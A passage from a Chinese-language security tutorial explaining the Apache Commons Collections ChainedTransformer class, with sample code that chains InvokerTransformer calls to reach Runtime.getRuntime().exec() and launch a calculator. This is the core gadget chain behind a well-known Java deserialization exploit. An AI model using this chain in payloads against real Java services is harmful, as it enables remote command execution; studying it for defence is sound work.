4. ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用，我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

ChainedTransformer.java:

public class ChainedTransformer implements Transformer, Serializable {
  /** The transformers to call in turn */
  private final Transformer[] iTransformers;
  // 省去多余的方法和变量
  public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
  }
  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }
}

使用ChainedTransformer实现调用本地命令执行方法：

public static void main(String[] args) {
      // 定义需要执行的本地系统命令
        String cmd = "open -a Calculator.app";
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);
      // 执行对象转换操作
      transformedChain.transform(null);
}

通过构建ChainedTransformer调用链我们最终会使用InvokerTransformer来完成反射调用Runtime.getRuntime().exec(cmd)的逻辑。